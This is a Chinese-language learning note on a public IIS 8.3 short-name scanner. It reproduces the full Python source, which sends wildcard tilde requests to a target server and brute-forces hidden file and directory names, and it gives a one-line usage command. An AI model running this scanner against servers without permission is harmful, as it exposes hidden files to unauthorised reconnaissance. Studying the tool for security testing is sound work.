【笔记】IISShortNameScanner学习笔记

前言

Under certain circumstances, windows 8.3 short names may be bruteforce enumerated under IIS with .net enabled(Github

下载项目

1
2
git clone https://github.com/lijiejie/IIS_shortname_Scanner.git
cd IIS_shortname_Scanner

源代码

iis_shortname_scan.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
#!/usr/bin/env python
# encoding:utf-8
# An IIS short_name scanner my[at]lijiejie.com http://www.lijiejie.com

import sys
import threading
import time
import ssl

try:
_create_unverified_https_context = ssl._create_unverified_context
except AttributeError:
# Legacy Python that doesn't verify HTTPS certificates by default
pass
else:
# Handle target environment that doesn't support HTTPS verification
ssl._create_default_https_context = _create_unverified_https_context

try:
# python 2.x
import httplib
import urlparse
import Queue as queue
except Exception as e:
# python 3.x
import http.client as httplib
import urllib.parse as urlparse
import queue


class Scanner(object):
def __init__(self, target):
self.target = target.lower()
if not self.target.startswith('http'):
self.target = 'http://%s' % self.target
self.scheme, self.netloc, self.path, params, query, fragment = urlparse.urlparse(target)
if self.path[-1:] != '/': # ends with slash
self.path += '/'
self.alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789_-'
self.files = []
self.dirs = []
self.queue = queue.Queue()
self.lock = threading.Lock()
self.threads = []
self.request_method = ''
self.msg_queue = queue.Queue()
self.STOP_ME = False
threading.Thread(target=self._print).start()

def _conn(self):
try:
if self.scheme == 'https':
conn = httplib.HTTPSConnection(self.netloc)
else:
conn = httplib.HTTPConnection(self.netloc)
return conn
except Exception as e:
print('[_conn.Exception]', e)
return None

def _get_status(self, path):
try:
conn = self._conn()
conn.request(self.request_method, path)
status = conn.getresponse().status
conn.close()
return status
except Exception as e:
raise Exception('[_get_status.Exception] %s' % str(e))

def is_vulnerable(self):
try:
for _method in ['GET', 'OPTIONS']:
self.request_method = _method
status_1 = self._get_status(self.path + '/*~1*/a.aspx') # an existed file/folder
status_2 = self._get_status(self.path + '/l1j1e*~1*/a.aspx') # not existed file/folder
if status_1 == 404 and status_2 != 404:
return True
return False
except Exception as e:
raise Exception('[is_vul.Exception] %s' % str(e) )

def run(self):
for c in self.alphanum:
self.queue.put((self.path + c, '.*')) # filename, extension
for i in range(20):
t = threading.Thread(target=self._scan_worker)
self.threads.append(t)
t.start()
for t in self.threads:
t.join()
self.STOP_ME = True

def report(self):
print('-' * 64)
for d in self.dirs:
print('Dir: %s' % d)
for f in self.files:
print('File: %s' % f)
print('-' * 64)
print('%d Directories, %d Files found in total' % (len(self.dirs), len(self.files)))
print('Note that * is a wildcard, matches any character zero or more times.')

def _print(self):
while not self.STOP_ME or (not self.msg_queue.empty()):
if self.msg_queue.empty():
time.sleep(0.05)
else:
print(self.msg_queue.get())

def _scan_worker(self):
while True:
try:
url, ext = self.queue.get(timeout=1.0)
status = self._get_status(url + '*~1' + ext + '/1.aspx')
if status == 404:
self.msg_queue.put('[+] %s~1%s\t[scan in progress]' % (url, ext))

if len(url) - len(self.path) < 6: # enum first 6 chars only
for c in self.alphanum:
self.queue.put((url + c, ext))
else:
if ext == '.*':
self.queue.put((url, ''))

if ext == '':
self.dirs.append(url + '~1')
self.msg_queue.put('[+] Directory ' + url + '~1\t[Done]')

elif len(ext) == 5 or (not ext.endswith('*')): # .asp*
self.files.append(url + '~1' + ext)
self.msg_queue.put('[+] File ' + url + '~1' + ext + '\t[Done]')

else:
for c in 'abcdefghijklmnopqrstuvwxyz0123456789':
self.queue.put((url, ext[:-1] + c + '*'))
if len(ext) < 4: # < len('.as*')
self.queue.put((url, ext[:-1] + c))

except queue.Empty as e:
break
except Exception as e:
print('[Exception]', e)


if __name__ == '__main__':
if len(sys.argv) == 1:
print('Usage: python IIS_shortname_Scan.py http://www.target.com/')
sys.exit()

target = sys.argv[1]
s = Scanner(target)
if not s.is_vulnerable():
s.STOP_ME = True
print('Server is not vulnerable')
sys.exit(0)

print('Server is vulnerable, please wait, scanning...')
s.run()
s.report()

探测IIS站点中文件名或目录名的前6位

1
python3 iis_shortname_scan.py <domain>

完成

参考文献

哔哩哔哩——逆风微笑的代码狗